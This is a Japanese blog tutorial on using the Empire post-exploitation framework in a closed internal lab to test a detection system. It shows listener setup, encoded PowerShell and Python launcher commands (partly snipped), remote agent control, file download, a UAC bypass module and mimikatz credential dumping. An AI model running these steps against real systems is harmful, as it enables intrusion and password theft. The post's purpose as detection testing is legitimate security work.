2
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

OSSのペネトレーションツール Empire を使ってみた。

Posted at

1. はじめに

社内検知システムの検証の為に、社内ネットワークでの攻撃者の動きを再現するために使用した時のメモ書きです。

※本ツールはOSSであるため、容易にインストールし悪用するすることができます。今回の記事はあくまで社内のクローズドな環境で検証を実施した時のまとめであり、脆弱性スキャンや攻撃をインターネット上のサーバに対して行うのは違法ですので(「不正アクセス行為の禁止などに関する法律」)使用する場合は、あくまで自宅のホームネットワーク内等で完結するように注意してください。

※Empireの使用は自己責任でお願いします。もし問題が生じても筆者は一切責任は負いません。

2. Empireのインストール

  1. git clone実行
daikon@ubuntu-35:~$ git clone https://github.com/EmpireProject/Empire.git
Cloning into 'Empire'...
remote: Enumerating objects: 12216, done.
remote: Total 12216 (delta 0), reused 0 (delta 0), pack-reused 12216
Receiving objects: 100% (12216/12216), 21.96 MiB | 7.88 MiB/s, done.
Resolving deltas: 100% (8312/8312), done.
  1. Empireのインストールを実行
daikon@ubuntu-35:~/Empire$ ./setup/install.sh

3. Empireの起動

1.Empireの起動

daikon@ubuntu-35:~/Empire$ sudo ./empire

2.起動画面

================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       285 modules currently loaded

       0 listeners currently active

       0 agents currently active


(Empire) > 

4. 踏み台となるサーバーへの接続

1.リスナーの作成。

(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > execute

(Empire: listeners) > listeners
[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  http              http            http://10.9.104.35:80                5/0.0     

2.踏み台となるLINUX,WINDOWSで実行するLauncherを作成。

・LINUXの場合(pythonのコマンドを生成)

(Empire: listeners) > launcher python http
echo "import -snip- Q=='));" | /usr/bin/python &

・WINDOWSの場合(Powershellのコマンドを生成)

(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc  SQBmAC -snip- VgArACQASwApACkAfABJAEUAWAA=

3.出力されたコマンドをコピーして、LINUXのプロンプト/WINDOWSのPowershell で実行する。

4.Empire に agents が生成され remote access が成功したことを確認する。

(Empire: listeners) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 ZIT9X3VC py 10.9.106.224    CentOS7-224       *root                   /usr/bin/python    29769  5/0.0    2019-10-30 02:46:56

5. agentの操作

・agentへの接続

(Empire: agents) > interact ZIT9X3VC

・agentの削除

(Empire: agents) > remove ZIT9X3VC

・agentの情報を表示

(Empire: ZIT9X3VC) > info

[*] Agent info:

        nonce                   455979247xx42725
        jitter                  0.0
        servers                 None
        internal_ip             10.9.xx.xx
        working_hours    
        session_key      
                                S凅j(/MEܖk
        children                None
        checkin_time            2019-10-30 02:52:35
        hostname                CentOS7-224
        id                      1
        delay                   5
        username                root
        kill_date        
        parent                  None
        process_name            /usr/bin/python
        listener                http
        process_id              29832
        profile                 /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        os_details              Linux,CentOS7-224,3.10.0-957.21.3.el7.x86_64,#1 SMP Tue Jun 18
                                16:35:19 UTC 2019,x86_64
        lost_limit              60
        taskings                None
        name                    ZIT9X3VC
        language                python
        external_ip             10.9.xx.xx
        session_id              ZIT9X3VC
        lastseen_time           2019-10-30 02:53:13
        language_version        2.7
        high_integrity          1

6. Windows内のファイルをダウンロード

(Empire: F5MXAVRC) > ls
[*] Tasked F5MXAVRC to run TASK_SHELL
[*] Agent F5MXAVRC tasked with task ID 19
(Empire: F5MXAVRC) > [*] Agent F5MXAVRC returned results.
Mode                                    Owner                                   LastWriteTime                           length                                  Name                                   
----                                    -----                                   -------------                           ------                                  ----                                   
d--hs                                   NT AUTHORITY\SYSTEM                     2018/04/13 10:18:21                                                             My Music                               
d--hs                                   NT AUTHORITY\SYSTEM                     2018/04/13 10:18:21                                                             My Pictures                            
d--hs                                   NT AUTHORITY\SYSTEM                     2018/04/13 10:18:21                                                             My Videos                              
-a-h-                                   166_WINDOWS7\nelco                      2018/10/16 13:56:59                     2002                                    Default.rdp                            
-a-hs                                   166_WINDOWS7\nelco                      2018/04/13 10:18:40                     402                                     desktop.ini                            
-a---                                   166_WINDOWS7\nelco                      2019/03/11 16:35:40                     22637                                   Invoke-Shellcode.ps1
[*] Valid results returned by 10.9.102.166

(Empire: F5MXAVRC) > download  Invoke-Shellcode.ps1

7.Windowsのパスワード情報を抜き取る

1.管理者権限を付与したAgentを作成

(Empire: YEVBFN9M) > usemodule privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > set Listener http
(Empire: powershell/privesc/bypassuac) > execute

2.Username に * の付いた管理者権限の agent が作成されている事を確認

(Empire) > agents
[*] Active agents:
Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
----     -- -----------     ------------      --------                -------            ---    -----    ---------
5S1XWU4P ps 10.9.102.166    166_WINDOWS7      166_WINDOWS7\nelco      powershell         2912   5/0.0    2019-03-11 06:35:04
9HB36UNL ps 10.9.102.166    166_WINDOWS7      *166_WINDOWS7\nelco     powershell         3888   5/0.0    2019-03-11 06:35:07

3.agent に接続しパスワードを搾取

(Empire: agents) > interact 9HB36UNL
(Empire: 9HB36UNL) > usemodule credentials/mimikatz/logonpasswords
(Empire: powershell/credentials/mimikatz/logonpasswords) > execute
~~パスワード情報~~
2
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?